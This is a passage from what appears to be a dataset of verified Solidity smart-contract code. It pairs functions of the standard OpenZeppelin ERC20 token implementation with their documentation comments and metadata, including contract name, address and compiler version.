Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
/** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; }
/** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a
{ "func_code_index": [ 736, 893 ] }
12,498
MetadataPooledCDAIFactory
MetadataPooledCDAIFactory.sol
0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
/** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See `IERC20.allowance`. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a
{ "func_code_index": [ 947, 1083 ] }
12,499